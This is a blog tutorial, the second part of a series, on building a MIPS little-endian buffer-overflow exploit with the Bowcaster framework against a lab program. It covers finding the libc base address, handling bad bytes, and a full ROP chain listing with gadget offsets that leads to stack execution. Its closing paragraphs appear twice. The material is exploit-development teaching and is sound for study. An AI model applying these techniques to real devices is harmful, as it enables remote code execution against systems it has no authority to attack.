Buffer Overflows with Bowcaster Part 2
In part 1, we had gotten a crash by sending a 2048-byte pattern to the vulnerable program.
The saved return address had been overwritten with 0x41367241 and restored to the $ra register. That value is located at an offset of 528 in our overflow buffer. Now we need to start describing ROP gadgets and substituting them for parts of the 2048-byte overflow string.
In order to start replacing parts of the overflow string, we need to create a list of replacement sections[1]. The easiest way to do that is to use the SectionCreator class. This is essentially a factory that generates OverflowSection objects.
You need to know a couple of things in order to instantiate a SectionCreator object: the endianness (which we already identified as little endian), an optional base address of the library you want to ROP into, and an optional list of bad bytes. If you provide the list of bad bytes, you'll get an exception if any of the overflow sections you create contain any of the restricted characters.
While the base address is an optional parameter to SectionCreator's constructor, I recommend providing the address of whatever library you're going to use most. If you're using more than one library, you can override this setting at any time if to create a ROP object in another library. Libc is often a good library to ROP into, and we can find its base address in /proc/<pid>/maps:
$ sudo cat /proc/6104/maps 00400000-00402000 r-xp 00000000 00:17 4833702 rootfs/vulnerable 00402000-00411000 ---p 00000000 00:00 0 00411000-00412000 rw-p 00001000 00:17 4833702 rootfs/vulnerable ... 4084a000-408a1000 r-xp 00000000 00:17 240427 rootfs/lib/libc.so.0 408a1000-408e1000 ---p 00000000 00:00 0 408e1000-408e2000 r--p 00057000 00:17 240427 rootfs/lib/libc.so.0 408e2000-408e3000 rw-p 00058000 00:17 240427 rootfs/lib/libc.so.0
The base address of libc is 0x4084a000.
The vulnerable function simply does a recv() into a buffer on the stack, so it doesn't actually have any restricted bytes. But for the sake of example, we'll assume we can't use nul or space, 0x00, and 0x20, respectively.
A SectionCreator object is instantiated like so:
from bowcaster.overflow_development.overflowbuilder import SectionCreator qemu_libc_base=0x4084a000 badchars=['\x00','\x20'] SC=SectionCreator(LittleEndian,base_address=qemu_libc_base,badchars=badchars)
Like I explained previously, we need to find the library addresses of our ROP gadgets manually or with other tools. I use IDA Pro, but you can disassemble with objdump and do the same.
The first ROP gadget we need is a function epilogue that restores a bunch of the MIPS S registers from the stack.
The picture above is an epilogue at 0x31B44 in libc that restores $s0-$s7, plus $ra. Who knows what this function is? Who cares? IDA calls it sub_318DC. Good enough.
We create a ROP gadget object for this address like so:
sections=[] #function epilogue rop section=SC.gadget_section(528,0x31b44, description="[$ra] function epilogue that sets up $s1-$s7") sections.append(section)
The gadget_section() method takes a mandatory offset and and address value, and an optional description and optional base address.
The description is just a textual description of this overflow section. It gets used in log output, exception messages etc, and helps you debug your exploit if things go wrong. If you don't provide a description, a generic one gets generated.
This is where you can override the base address you specified earlier. Say instead of a ROP gadget, you just want to put a placeholder on the stack that will avoid blowing up the program before the function returns. Here you could provide the literal value to gadget_section() and override the base address with 0. This value will get encoded with the proper endianness and placed in the buffer.
Keep adding to your list of sections, and then instantiate the OverflowBuffer object just like before, but this time pass the section is as the optional third parameter:
buf=OverflowBuffer(LittleEndian,2048,sections)
There are a couple of things to note about the OverflowBuffer class. First, when you create it with a list of sections, those sections replace portions of the filler pattern. The parts of the pattern that come before and after each section remain undisturbed so their offsets stay the same. Second, if any of the sections in your list overlap, OverflowBuffer will log an error message listing problem sections (this is where the optional description strings are useful), and it will raise an exception.
For example, I created a section of 8 "D"s at offset 500, and another section of 8 "A"s at offset 504. They overlap by 4. I got the following log output:
[!] Section "D's", offset: 500 length: 8 overlaps with the following sections: [!] "A's overlapping with D's" offset: 504 length: 8
With this gadget added, run your exploit once more and see what values get restored to the S registers and $ra. Like before, use find_offet() to figure out the offsets into your buffer where you'll need to place your gadgets such that they'll be loaded into the appropriate registers.
In order to get into the stack and start executing payload, we need a series of ROP gadgets that do the following:
- Stage an argument to sleep() into $a0 (for data cache flushing; MIPS cache-coherency).
- Return into libc's sleep()
- Load some offset from $sp into an S register, thereby locating the stack.
- Jump to the S register containing a stack address.
To give you a more complete picture of how to build your ROP chain, below is a listing of the gadgets I used for this exploit.
Pass this list to the OverflowBuffer constructor to create a buffer overflow string containing your ROP chain.
In the next part, I'll describe adding a connect-back payload section to your buffer overflow string as well as how to use a payload encoder.
------------------------
[1] In a future tutorial I'll describe the use of the EmptyOverflowBuffer class. Instead of taking a list of replacement sections, it starts out with 0 length, and you build it up by appending sections one at at time.
sections=[] #function_epilogue_rop section=SC.gadget_section(528,0x31b44, description="[$ra] function epilogue that sets up $s1-$s7") sections.append(section) #Sleep arg 2 into $a0, stack data into $ra, then jalr $s0 section=SC.gadget_section(656,0x43880, description="[$a0] Set up 2 sec arg to sleep(), then jalr $s1") sections.append(section) #address of sleep section=SC.gadget_section(620,0x506c0, description="Address of sleep() in libc. be sure to set up $ra and $a0 before calling.") sections.append(section) #placeholder address that can be dereferenced without crashing, this goes in $s2 section=SC.gadget_section(628,0x427a4, description="[$s2] placeholder, derefed without crashing.") sections.append(section) #stackfinder. add 0xe0+var_c0 + $sp into $s0, jalr $s6 section=SC.gadget_section(688,0x427a4,description="stackfinder.") sections.append(section) #stackjumber. jalr $s0 section=SC.gadget_section(644,0x1ffbc,description="[$s0] stackjumper") sections.append(section)
Pass this list to the OverflowBuffer constructor to create a buffer overflow string containing your ROP chain.
In the next part, I'll describe adding a connect-back payload section to your buffer overflow string as well as how to use a payload encoder.
------------------------
[1] In a future tutorial I'll describe the use of the EmptyOverflowBuffer class. Instead of taking a list of replacement sections, it starts out with 0 length, and you build it up by appending sections one at at time.
0 comments:
Post a Comment